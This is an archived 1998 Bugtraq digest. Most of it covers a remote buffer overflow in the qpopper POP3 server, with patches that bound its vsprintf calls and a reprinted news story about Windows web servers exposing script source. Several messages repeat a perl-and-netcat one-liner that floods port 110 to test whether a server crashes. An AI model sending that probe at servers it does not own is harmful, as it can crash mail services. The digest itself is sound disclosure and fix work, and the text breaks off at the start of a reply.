Date: Mon, 29 Jun 1998 00:02:40 -0400
Reply-To: Bugtraq List
Sender: Bugtraq List
From: Automatic digest processor
Subject: BUGTRAQ Digest - 27 Jun 1998 to 28 Jun 1998
To: Recipients of BUGTRAQ digests
Message-Id: <19980629040449Z96585-22468+13@brimstone.netspace.org>
There are 18 messages totalling 1368 lines in this issue.
Topics of the day:
1. QPOPPER problem.... ONE crude patch... (5)
2. patch for qpopper remote exploit bug (5)
3. QPOPPER problem.... (2)
4. patch: qpopper (plugs another hole too)
5. Users can view script source from Win WebServers
6. dip-3.3.7p exploit (stackpatch_
7. More patch ideas for qpopper
8. And another qpopper overflow (does this make 3?)
9. check-ps 1.2 alpha 4 compile fix
----------------------------------------------------------------------
Date: Sat, 27 Jun 1998 22:58:51 +0300
From: Yiorgos Adamopoulos
Subject: Re: QPOPPER problem.... ONE crude patch...
Hi,
I am attaching the typescript file. As you will see, the connection closed
as expected...
-Yiorgos.
Script started on Sat Jun 27 22:55:42 1998
adamo@ajax: [1] ~ > perl -e 'print "e"x20000,"\r\nQUIT\r\n";'|nc -i 2 local 110
+OK QPOP (version 2.41beta1) at ajax.noc.ntua.gr starting.
-ERR Unknown command: "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee!
!
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeïÿù`
+OK Pop server at ajax.noc.ntua.gr signing off.
adamo@ajax: [2] ~ > exit
script done on Sat Jun 27 22:56:46 1998
On Sat, Jun 27, 1998 at 11:52:50AM -0700, Tom Brown wrote:
>
> just in case you didn't know...
>
> just because you don't find the core file, doesn't mean it didn't
> segfault... did you get a sudden "connection closed by foreign host" ...
> if so it's vulnerable... (the 2.3 popper seems to do this, even on
> linux... and BSDI I'm told does that)...
>
> On Sat, 27 Jun 1998, Yiorgos Adamopoulos wrote:
>
> > On Sat, Jun 27, 1998 at 01:58:10AM -0700, Tom Brown wrote:
> > > perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 target 110
> >
> > can someone try this on a Solaris2.6 (sparc) ? I just did and it did not
> > core dump ...
> >
>
> ----------------------------------------------------------------------
> tbrown@BareMetal.com | Ours is a world where people don't know what they
> http://BareMetal.com/ | want and are willing to go through hell to get it.
> | - Don Marquis
------------------------------
Date: Sat, 27 Jun 1998 16:50:40 -0600
From: Theo de Raadt
Subject: Re: patch for qpopper remote exploit bug
Yeah, but what about systems that do _not_ have vsnprintf()?
Using calls without bounds checks can be justified as long
as it is made dead sure that no bounds would be ever exceeded.
You complain to your vendors.
This is a function which every vendor should have in their libraries.
If they don't, I can promise you that OS has not been audited, and
that 10 or so bugs in libc exist which will bite you.
Today, snprintf and vsnprintf are required. Without them, there's
some code in the libraries which cannot be written safely.
ie:
gen/syslog.c: prlen = vsnprintf(p, tbuf_left, fmt_cpy, ap);
Hmm.
------------------------------
Date: Sat, 27 Jun 1998 20:18:47 -0300
From: "Bruno Lopes F. Cabral"
Subject: Re: QPOPPER problem....
Hi there.
as there was an error on the patch I took, there is a new one with
this simple change
+ vsnprintf(mp,sizeof(message) - strlen(mp) -1,format,ap);
becomes
+ vsnprintf(mp,sizeof(message) - (mp-message)- 3, format,ap);
grab the new rpm, if you wish, from the same location
ftp://ftp.openline.com.br/mirror/contrib/qpopper-2.4-3.src.rpm
!3runo
P.S. here is the _corrected_ patch and remember this is only tested
on linux. Qpopper 2.4 uses GNU autoconf and the necessary steps to
modify it to search for vsnprintf are beiond my knowledge
diff -uNr qpopper2.4-orig/pop_dropcopy.c qpopper2.4/pop_dropcopy.c
--- qpopper2.4-orig/pop_dropcopy.c Fri Sep 12 17:23:02 1997
+++ qpopper2.4/pop_dropcopy.c Sat Jun 27 14:41:01 1998
@@ -457,6 +457,9 @@
} else
cp = "";
+ /* Make UIDL not longer then 128 chars, we use it
+ in sprintf() later on */
+ if (strlen(cp) >= 128) cp[127] = 0;
mp->uidl_str = (char *)strdup(cp);
mp->length += nchar + 1;
p->drop_size += nchar + 1;
diff -uNr qpopper2.4-orig/pop_log.c qpopper2.4/pop_log.c
--- qpopper2.4-orig/pop_log.c Thu Sep 11 21:21:21 1997
+++ qpopper2.4/pop_log.c Sat Jun 27 14:41:57 1998
@@ -47,7 +47,7 @@
#endif
#ifdef HAVE_VPRINTF
- vsprintf(msgbuf,format,ap);
+ vsnprintf(msgbuf,sizeof(msgbuf),format,ap);
#else
# ifdef PYRAMID
(void)sprintf(msgbuf,format, arg1, arg2, arg3, arg4, arg5, arg6);
@@ -67,6 +67,8 @@
(void)fflush(p->trace);
}
else {
+ /* Protect syslog from too long messages */
+ if (strlen(msgbuf) >= 512) msgbuf[511] = 0;
syslog (stat,"%s",msgbuf);
}
diff -uNr qpopper2.4-orig/pop_msg.c qpopper2.4/pop_msg.c
--- qpopper2.4-orig/pop_msg.c Thu Sep 11 21:21:41 1997
+++ qpopper2.4/pop_msg.c Sat Jun 27 14:42:42 1998
@@ -63,7 +63,7 @@
/* Append the message (formatted, if necessary) */
if (format)
#ifdef HAVE_VPRINTF
- vsprintf(mp,format,ap);
+ vsnprintf(mp,sizeof(message) - (mp-message)- 3, format,ap);
#else
# ifdef PYRAMID
(void)sprintf(mp,format, arg1, arg2, arg3, arg4, arg5, arg6);
------------------------------
Date: Sat, 27 Jun 1998 15:31:12 -0700
From: Marco S Hyman
Subject: Re: QPOPPER problem.... ONE crude patch...
Daniel Ryde writes:
> > vsnprintf(mp,sizeof(message)-(mp - message)-3,format,ap);
>
> Dangerous, if the string is truncated it will skip the null termination,
This came up a while back. Some versions of [v]snprintf copy
size - 1 characters into str and then null terminate. Example: the
OpenBSD snprinf man page says:
Snprintf(), vsnprintf(), asnprintf() and vasnprintf() will write at most
size-1 of the characters printed into the output string (the size'th
character then gets the terminating `\0'); if the return value is greater
than or equal to the size argument, the string was too short and some of
the printed characters were discarded.
It's possible that the author is using a system with the above semantics.
People patching the code must know what their [v]snprintf does.
// marc
------------------------------
Date: Sun, 28 Jun 1998 00:21:46 +0200
From: Miquel van Smoorenburg
Subject: patch: qpopper (plugs another hole too)
This afternoon I sent a fix for qpopper. There have been some other patches
on the list too, but nobody except me noticed the X-UIDL problem.
On further careful inspection of all sprintf() functions in qpopper,
I think most of them are harmless. The UIDL is extracted from a buffer
1024 bytes big, minus X-UIDL: so can never be any bigger then
1016 characters. That prevents most sprintf()s from overflowing since they
are printing in a 1024 byte buffer.
However I did find a few places in pop_uidl.c where an overflow _is_
possible because both data from the X-UIDL header and the from line are
combined in one sprintf().
Here's a new patch that addresses the X-UIDL bug and the original bugs.
Against qpopper-2.3 (the last free version) again.
PS This is the patch Debian qpopper-2.2 (bo) and qpopper-2.3 (hamm)
will use - I'm uploading them to master.debian.org at this very moment.
diff -ruN qpopper-2.3.orig/pop_log.c qpopper-2.3/pop_log.c
--- qpopper-2.3.orig/pop_log.c Sat Mar 29 05:30:36 1997
+++ qpopper-2.3/pop_log.c Sat Jun 27 23:26:39 1998
@@ -18,7 +18,11 @@
* log: Make a log entry
*/
+#ifdef HAVE_VSNPRINTF
static char msgbuf[MAXLINELEN];
+#else
+static char msgbuf[MAXLINELEN*4];
+#endif
pop_log(va_alist)
va_dcl
@@ -46,6 +50,9 @@
arg6 = va_arg(ap, char *);
#endif
+#ifdef HAVE_VSNPRINTF
+ vsnprintf(msgbuf,sizeof(msgbuf),format,ap);
+#else
#ifdef HAVE_VSPRINTF
vsprintf(msgbuf,format,ap);
#else
@@ -57,6 +64,7 @@
# endif
va_end(ap);
#endif
+#endif
if (p->debug && p->trace) {
clock = time(0);
@@ -67,6 +75,8 @@
(void)fflush(p->trace);
}
else {
+ /* Protect syslog from too long messages */
+ if (strlen(msgbuf) >= 512) msgbuf[511] = 0;
syslog (stat,"%s",msgbuf);
}
diff -ruN qpopper-2.3.orig/pop_msg.c qpopper-2.3/pop_msg.c
--- qpopper-2.3.orig/pop_msg.c Sat Mar 29 05:30:36 1997
+++ qpopper-2.3/pop_msg.c Sat Jun 27 23:26:39 1998
@@ -34,7 +34,11 @@
#ifdef PYRAMID
char * arg1, *arg2, *arg3, *arg4, *arg5, *arg6;
#endif
+#ifdef HAVE_VSNPRINTF
char message[MAXLINELEN];
+#else
+ char message[MAXLINELEN * 4];
+#endif
va_start(ap);
p = va_arg(ap, POP *);
@@ -63,6 +67,9 @@
/* Append the message (formatted, if necessary) */
if (format)
+#ifdef HAVE_VSNPRINTF
+ vsnprintf(mp,sizeof(message) - strlen(mp) - 3, format,ap);
+#else
#ifdef HAVE_VSPRINTF
vsprintf(mp,format,ap);
#else
@@ -72,6 +79,7 @@
(void)sprintf(mp,format,((int *)ap)[0],((int *)ap)[1],((int *)ap)[2],
((int *)ap)[3],((int *)ap)[4]);
# endif
+#endif
#endif
va_end(ap);
diff -ruN qpopper-2.3.orig/pop_uidl.c qpopper-2.3/pop_uidl.c
--- qpopper-2.3.orig/pop_uidl.c Sat Mar 29 05:30:36 1997
+++ qpopper-2.3/pop_uidl.c Sat Jun 27 23:31:05 1998
@@ -54,7 +54,7 @@
"Message %d has been marked for deletion.",msg_id));
} else {
- sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
+ sprintf(buffer, "%d %.900s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
return (pop_msg (p,POP_SUCCESS, buffer));
}
@@ -70,7 +70,7 @@
/* Is the message flagged for deletion? */
if (mp->del_flag) continue;
- sprintf(buffer, "%d %s", x, mp->uidl_str);
+ sprintf(buffer, "%d %.900s", x, mp->uidl_str);
/* nl = index(mp->uidl_str, NEWLINE); */
pop_sendline(p, buffer);
/*
@@ -147,9 +147,9 @@
"Message %d has been marked for deletion.",msg_id));
} else {
- sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
+ sprintf(buffer, "%d %.900s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
- sprintf(buffer, "%s %d %s", buffer, mp->length, from_hdr(p, mp));
+ sprintf(buffer, "%s %d %.100s", buffer, mp->length, from_hdr(p, mp));
return (pop_msg (p,POP_SUCCESS, buffer));
}
} else {
@@ -164,9 +164,9 @@
/* Is the message flagged for deletion? */
if (mp->del_flag) continue;
- sprintf(buffer, "%d %s", x, mp->uidl_str);
+ sprintf(buffer, "%d %.900s", x, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
- sprintf(buffer, "%s %d %s", buffer, mp->length, from_hdr(p, mp));
+ sprintf(buffer, "%s %d %.100s", buffer, mp->length, from_hdr(p, mp));
pop_sendline(p, buffer);
}
}
diff -ruN qpopper-2.3.orig/popper.h qpopper-2.3/popper.h
--- qpopper-2.3.orig/popper.h Mon Mar 31 22:10:18 1997
+++ qpopper-2.3/popper.h Sat Jun 27 23:26:39 1998
@@ -128,6 +128,7 @@
#endif
#ifdef LINUX
+# define HAVE_VSNPRINTF
# define POP_MAILDIR "/var/spool/mail"
# define POP_DROP "/var/spool/mail/.%s.pop"
# define POP_TMPDROP "/var/spool/mail/tmpXXXXXX"
--
Miquel van Smoorenburg | Our vision is to speed up time,
miquels@cistron.nl | eventually eliminating it.
------------------------------
Date: Sat, 27 Jun 1998 19:56:12 -0400
From: "Bryan (Zeli) Kartzman"
Subject: Re: QPOPPER problem.... ONE crude patch...
On Sat, 27 Jun 1998, Yiorgos Adamopoulos wrote:
> On Sat, Jun 27, 1998 at 01:58:10AM -0700, Tom Brown wrote:
> > perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 target 110
>
> can someone try this on a Solaris2.6 (sparc) ? I just did and it did not
> core dump ...
>
i tried it on AIX 4.2.1 and it also didn't core dump...
bz
------------------------------
Date: Sat, 27 Jun 1998 17:31:45 -0500
From: Juan Diego Bolanhos Ramirez
Subject: Re: QPOPPER problem.... ONE crude patch...
solarix 2.6 (sparc) appear not vulnerable to this..
i tried and not core....
by...
On Sat, 27 Jun 1998, Yiorgos Adamopoulos wrote:
>>On Sat, Jun 27, 1998 at 01:58:10AM -0700, Tom Brown wrote:
>>> perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 target 110
>>
>>can someone try this on a Solaris2.6 (sparc) ? I just did and it did not
>>core dump ...
>>
------------------------------
Date: Sat, 27 Jun 1998 15:40:11 -0700
From: Marco S Hyman
Subject: Re: QPOPPER problem....
"Bruno Lopes F. Cabral" writes:
> #ifdef HAVE_VPRINTF
> - vsprintf(mp,format,ap);
> + vsnprintf(mp,sizeof(message) - strlen(mp) -1,format,ap);
I don't think so. Check out the code... mp is pointing at the terminating
null from the previous sprintf. In effect you've coded
sizeof( message ) - -1. Not what you wanted at all.
// marc
------------------------------
Date: Sun, 28 Jun 1998 00:18:22 +0200
From: Miquel van Smoorenburg
Subject: Re: QPOPPER problem.... ONE crude patch...
In article ,
Daniel Ryde wrote:
>On Sat, 27 Jun 1998, Tom Brown wrote:
>
>> vsnprintf(mp,sizeof(message)-(mp - message)-3,format,ap);
>
>Dangerous, if the string is truncated it will skip the null termination,
>then later the strcat might fail miserably (unless all arcitectures makes
>for sure that, when allocated, the string is filled with null, which I
>really doubt).
Unlike strncat, snprintf is supposed to add a trailing zero. If it
doesn't then your library implementation is wrong and you probably have
more things to worry about ..
>Another note is the next lines of sprintf (architectures
>that dont have vsprintf) that will have the same problem as vsprintf.
>Change these to snprintf in a similar way, and add a null to the end.
I'll post a revised patch in a minute. For architectures without
vnsprintf() it just makes the buffer 4 times bigger, that's sufficient
(that's not a guess but a fact).
Mike.
--
Miquel van Smoorenburg | Our vision is to speed up time,
miquels@cistron.nl | eventually eliminating it.
------------------------------
Date: Sat, 27 Jun 1998 19:41:46 -0400
From: Jon Lusky
Subject: Re: patch for qpopper remote exploit bug
Andres Kroonmaa writes:
> Yeah, but what about systems that do _not_ have vsnprintf()?
> Using calls without bounds checks can be justified as long
> as it is made dead sure that no bounds would be ever exceeded.
>
> In current case, buffers overflow because qpopper accepts
> way too long commands. Easiest fix is to limit max command
> length at safer lower length during call to tgets()
Here is what I am using... I changed the length passed to tgets,
and put some logging code in myfgets().
*** ../qpopper2.41beta1/popper.c Wed Nov 19 16:20:38 1997
--- popper.c Fri Jun 26 00:05:57 1998
***************
*** 46,51 ****
--- 46,61 ----
char * strerror();
#endif
+ #if HAVE_SYS_NETINET_IN_H
+ # include
+ #endif
+ #if HAVE_NETINET_IN_H
+ # include
+ #endif
+
+ #include
+ #include
+
extern state_table * pop_get_command();
int hangup = FALSE ;
int catchSIGHUP();
***************
*** 55,60 ****
--- 65,72 ----
FILE *debuglog;
+ #define MAXINPUTLEN 80
+
/*
* popper: Handle a Post Office Protocol version 3 session
*/
***************
*** 123,129 ****
pop_msg(&p, POP_FAILURE,"POP mailbox restoration failed.",p.myhost);
#endif
p.CurrentState = error;
! } else if (tgets(message,MAXLINELEN,p.input,pop_timeout) == NULL) {
if (poptimeout) {
if (p.xmitting) pop_xmit_clean(&p);
pop_msg(&p,POP_FAILURE,"POP timeout",p.myhost);
--- 135,141 ----
pop_msg(&p, POP_FAILURE,"POP mailbox restoration failed.",p.myhost);
#endif
p.CurrentState = error;
! } else if (tgets(message,MAXINPUTLEN,p.input,pop_timeout) == NULL) {
if (poptimeout) {
if (p.xmitting) pop_xmit_clean(&p);
pop_msg(&p,POP_FAILURE,"POP timeout",p.myhost);
***************
*** 196,202 ****
--- 208,219 ----
char ch;
int nbytes;
int found_nl = 0;
+ char msgbuf[500];
+ struct sockaddr_in cs;
+ int sp = 0;
+ int len;
+
cp = str;
while (--size > 0) {
***************
*** 210,216 ****
}
++cp;
}
!
if ((nbytes <= 0) || (cp == str)) {
return(NULL);
} else {
--- 227,240 ----
}
++cp;
}
! if (size == 0) {
! len = sizeof(cs);
! if (getpeername(sp,(struct sockaddr *)&cs,&len) < 0){
! exit(1);
! }
! sprintf(msgbuf,"LONG POPPER COMMAND from %s - %s (truncated)",strdup(inet_ntoa(cs.sin_addr)),str);
! syslog(LOG_ALERT,"%s",msgbuf);
! }
if ((nbytes <= 0) || (cp == str)) {
return(NULL);
} else {
--
Jonathan R. Lusky | Voyager Online LLC
Senior Network Engineer | (423) 209-2929 / (800) 864-0442
lusky@vol.com | Nationwide 64K Dialup ISDN $26.95/mo
http://www.hotrod.com | http://www.vol.com
------------------------------
Date: Sat, 27 Jun 1998 18:34:12 -0700
From: Benjamin J Stassart
Subject: Re: patch for qpopper remote exploit bug
-----BEGIN PGP SIGNED MESSAGE-----
> Date: Sat, 27 Jun 1998 21:21:13 +0300
> From: Andres Kroonmaa
> To: BUGTRAQ@NETSPACE.ORG
> Subject: Re: patch for qpopper remote exploit bug
>
> On 27 Jun 98, at 3:24, Roy Hooper wrote:
>
> > This is a simple case of the author(s) of qpopper not using vsnprintf where
> > they aught to have been. I have confirmed that qpopper-2.41beta1 is indeed
> > vulnerable to a remote exploit due to buffer overrun. I have not actually
> > tested the exploit, but have tested (and fixed) the buffer overrun in the
> > copy of qpopper running here.
>
> Yeah, but what about systems that do _not_ have vsnprintf()?
> Using calls without bounds checks can be justified as long
> as it is made dead sure that no bounds would be ever exceeded.
Digital Unix 3.2G does not seem to have either vsnprintf or snprintf.
However, qpopper under Digital Unix 3.2G does not seem to show the
vulnerability as discussed on this list even though it contains the
vulnerable code.
% perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | /usr/local/sbin/nc -i 2 localhost 110
+OK QPOP (version 2.4) at machine starting. <32482.898994635@machine>
- -ERR Unknown command:
"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
eeeeee".
+OK Pop server at machine signing off.
And I get a log with that message.
Since I do not trust that there is not another way to exploit it, I
decided to rewrite it anyways until a patch from Qualcomm becomes
available.
% perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | /usr/local/sbin/nc -i 2 localhost 110
+OK QPOP (version 2.4) at machine starting. <29494.898995337@machine>
- -ERR String too long
+OK Pop server at machine signing off.
It is a really ugly patch that replaces vsprintf with vfprintf and outputs
to a file and then reads in from that file.
*** pop_msg.c Sat Jun 27 17:53:55 1998
- --- pop_msg.c.orig Sat Jun 27 14:01:49 1998
***************
*** 35,43 ****
#endif
char message[MAXLINELEN];
- - FILE* vprint_file;
- - char vprint_temp[101];
- -
va_start(ap);
p = va_arg(ap, POP *);
stat = va_arg(ap, int);
- --- 35,40 ----
***************
*** 66,86 ****
/* Append the message (formatted, if necessary) */
if (format)
#ifdef HAVE_VPRINTF
! vprint_file = tmpfile();
! vfprintf(vprint_file,format,ap);
! rewind(vprint_file);
! fscanf(vprint_file, "%100s", mp);
! while(fscanf(vprint_file, "%100s", vprint_temp) != EOF)
! {
! if (strlen(mp) + strlen(vprint_temp) + 4 > MAXLINELEN)
! {
! strcpy(mp, "String too long");
! break;
! }
!
! strcat(mp, " ");
! strcat(mp, vprint_temp);
! }
#else
# ifdef PYRAMID
(void)sprintf(mp,format, arg1, arg2, arg3, arg4, arg5, arg6);
- --- 63,69 ----
/* Append the message (formatted, if necessary) */
if (format)
#ifdef HAVE_VPRINTF
! vsprintf(mp,format,ap);
#else
# ifdef PYRAMID
(void)sprintf(mp,format, arg1, arg2, arg3, arg4, arg5, arg6);
***************
*** 90,96 ****
# endif
#endif
va_end(ap);
!
/* Log the message if debugging is turned on */
#ifdef DEBUG
if (p->debug && stat == POP_SUCCESS)
- --- 73,79 ----
# endif
#endif
va_end(ap);
!
/* Log the message if debugging is turned on */
#ifdef DEBUG
if (p->debug && stat == POP_SUCCESS)
*** pop_log.c Sat Jun 27 17:54:09 1998
- --- pop_log.c.orig Sat Jun 27 17:10:10 1998
***************
*** 33,41 ****
char * date_time;
time_t clock;
- - FILE* vprint_file;
- - char vprint_temp[101];
- -
va_start(ap);
p = va_arg(ap,POP *);
stat = va_arg(ap,int);
- --- 33,38 ----
***************
*** 50,70 ****
#endif
#ifdef HAVE_VPRINTF
! vprint_file = tmpfile();
! vfprintf(vprint_file,format,ap);
! rewind(vprint_file);
! fscanf(vprint_file, "%100s", msgbuf);
! while(fscanf(vprint_file, "%100s", vprint_temp) != EOF)
! {
! if (strlen(msgbuf) + strlen(vprint_temp) + 4 > MAXLINELEN)
! {
! strcpy(msgbuf, "String too long");
! break;
! }
!
! strcat(msgbuf, " ");
! strcat(msgbuf, vprint_temp);
! }
#else
# ifdef PYRAMID
(void)sprintf(msgbuf,format, arg1, arg2, arg3, arg4, arg5, arg6);
- --- 47,53 ----
#endif
#ifdef HAVE_VPRINTF
! vsprintf(msgbuf,format,ap);
#else
# ifdef PYRAMID
(void)sprintf(msgbuf,format, arg1, arg2, arg3, arg4, arg5, arg6);
And I also applied to UIDL patch given on this mailing list earlier today.
Benjamin J. Stassart
- ------------------------------------------------+
A great many people think they are thinking |
when they are merely rearranging their |
prejudices |
-----BEGIN PGP SIGNATURE-----
Version: PGP 5.0
Charset: noconv
iQCVAwUBNZWdlpePz5nhUoJ9AQFsHAP7BaKCmfXZuq+0mYOwB7YKBMHNdcT8jnyK
V5NVfFKeP2QGgz8BPvZbWDFViBbuG2e4EFvORsahD0E+L5v8nY4h45XB38pHkO+C
7UsAcT+ouwhXWLIs3W0yKpHIAbdziLx1Zgxscjfqqauedt5+7wT1E6IZSJ+vmgRv
mSm8LiWpiiE=
=2ViR
-----END PGP SIGNATURE-----
------------------------------
Date: Sun, 28 Jun 1998 00:33:46 -0500
From: Aleph One
Subject: Users can view script source from Win WebServers
http://www.sddt.com/files/library/98/06/25/tbc.html
Source Programmers Discover Internet Server Bug
Daily Transcript Business Report
June 25, 1998
Programmers at San Diego Source, the online news service of the San
Diego Daily Transcript, have discovered a security hole affecting Web
server software from both Netscape Communications and software and
book publisher O'Reilly & Associates.
The bug, allowing for the display of sensitive programming code being
served by Windows NT and Windows 95 versions of Netscape Enterprise
and O'Reilly & Associates' WebSite Professional, can be used by
hackers to glean information considered by programmers to be
invisible. The bug could allow for easy display of private documents
featuring database passwords, user names and even programming codes
that make events occur but are not meant for public perusal.
So far the flaw has been shown to affect only machines running under
the Windows operating system, but it is not clear if these are the
only two Web server programs affected.
Netscape Communications, which was notified about the bug via its
Developer Forum on Friday, has been working with the Daily Transcript
and is investigating the issue. On Tuesday, when it was discovered
that WebSite Professional also was vulnerable, O'Reilly & Associates
was alerted as well.
Before either company had confirmed the bug's existence, Source
programmers were able to view unprocessed server-side scripts on
dozens of Web sites, including a server at Berkeley and www.osa.com,
which belongs to O'Reilly & Associates.
Because publishing specific details about the bug would leave
countless Web sites vulnerable, the Daily Transcript has agreed not to
describe exactly how the bug works until both companies have had a
chance to issue a patch. The bug, however, is similar to a Microsoft
Internet Information Server glitch that surfaced last year and since
has been patched
"With that bug, you could tack a period to the end of a file name and
get the same results that we're seeing here," said Leland Baker, an NT
administrator and programmer at the Transcript who found the new bug.
"This was a problem because hackers could look at the contents of
unprocessed active server pages, which can contain Perl and VBScript
with sensitive information."
Microsoft scrambled to patch that glitch after CNET published details
on how to exploit it. The patch was successful, and Microsoft's IIS is
not vulnerable to the new bug. But a quick visit to a site running a
third-party program processing active server pages (ASPs) under
Netscape Enterprise revealed that, once again, the unprocessed
contents of ASPs can be viewed, so Microsoft's latest patch only
protects applications running under IIS.
Bob Denny, lead developer for O'Reilly & Associates' WebSite
Professional project, said the new bug stems from the fact that users
can pass a file name containing extra characters to the NT/95/98
operating system. Windows will accept the file name and open a file by
the same name, except with the trailing characters removed.
"We consider this a serious security problem," Denny said. "The 2.3
release of WebSite Pro is scheduled imminently (within days). We have
already implemented a fix for this problem, and the fix will be
available to our customers in the 2.3 version."
"The bug is dangerous because it doesn't take a hacker to exploit it,"
said Joseph Schmitt II, a system administrator for San Diego Source
who helped identify the new glitch. "When virtually any user can visit
your site and view the source code for an application, which sometimes
includes vital system information, there's a real security threat.
This bug may well affect the security of any file accessible via a URL
address, compiled or otherwise."
Jim Obsitnik, Netscape's Enterprise Server product manager, said
engineers at Netscape also were able to confirm the bug's existence,
and he indicated a patch would be issued early next week.
"We've taken a look at it. The bug is a new one, and we're looking for
the best way to get it out." Obsitnik said.
The fix will also be included with the next point release of
Enterprise, due to ship in September.
Obsitnik indicated that the bug could leave any server-side script
vulnerable, including some compiled and uncompiled executable files.
Server-side scripts are a sort of hybrid programming language,
combining standard HTML tags with tags developed by third-party
vendors to allow for dynamic content in Web pages. These scripts,
processed by a program residing on the server rather than by the
client's browser, commonly are used to integrate the contents of large
databases with Web pages. The end user sees only the information
requested, usually based on their input into a search page.
Allaire Cold Fusion, a popular and powerful database integration tool,
is one such program.
"The bug not only exposes the inner workings of a developer's own
applications," said Ben Forta, long-time Cold Fusion developer and
Allaire's product spokesman. "It could also expose highly confidential
data like network and database login names and passwords."
If hackers can view this information, it may be possible for them to
alter or even delete data.
While helping Netscape pinpoint which sites were affected, Baker and
Schmitt discovered that servers running Web Site Professional, a
popular Web server package from O'Reilly & Associates, also were
vulnerable.
"I viewed the source of one of their Cold Fusion scripts and then
e-mailed it to them," Baker said. "The guy I initially talked to there
was very concerned."
The bug is especially important to developers because entire
applications -- even entire sites -- are built using Cold Fusion
markup language (CFML) and ASP.
Cold Fusion ships with a program to encrypt CFML pages, but the
utility introduces a sometimes difficult layer to the administration
process.
"A lot of times, developers will encrypt a Cold Fusion application if
they sell it so that the source code can't be reused or modified,"
Baker said. "But encrypting an entire site can be difficult to manage.
Any bug fixes or modifications would have to be made to an unencrypted
file, moved and re-encrypted. When you're dealing with a large number
of files, this can seem like a tedious process until you get used to
it."
San Diego Source, at www.sddt.com, features numerous databases using
CFML to provide information on commercial leases, home purchases, the
San Diego Stock Exchange and more. Since discovering the bug, however,
San Diego Source has taken these extra steps to encrypt every CFML
script on the site to protect the integrity of the databases.
_________________________________________________________________
------------------------------
Date: Sun, 28 Jun 1998 14:04:19 +0200
From: "M.C.Mar"
Subject: Re: dip-3.3.7p exploit (stackpatch_
On Fri, 26 Jun 1998, Thomas Troeger wrote:
> Hi,
>
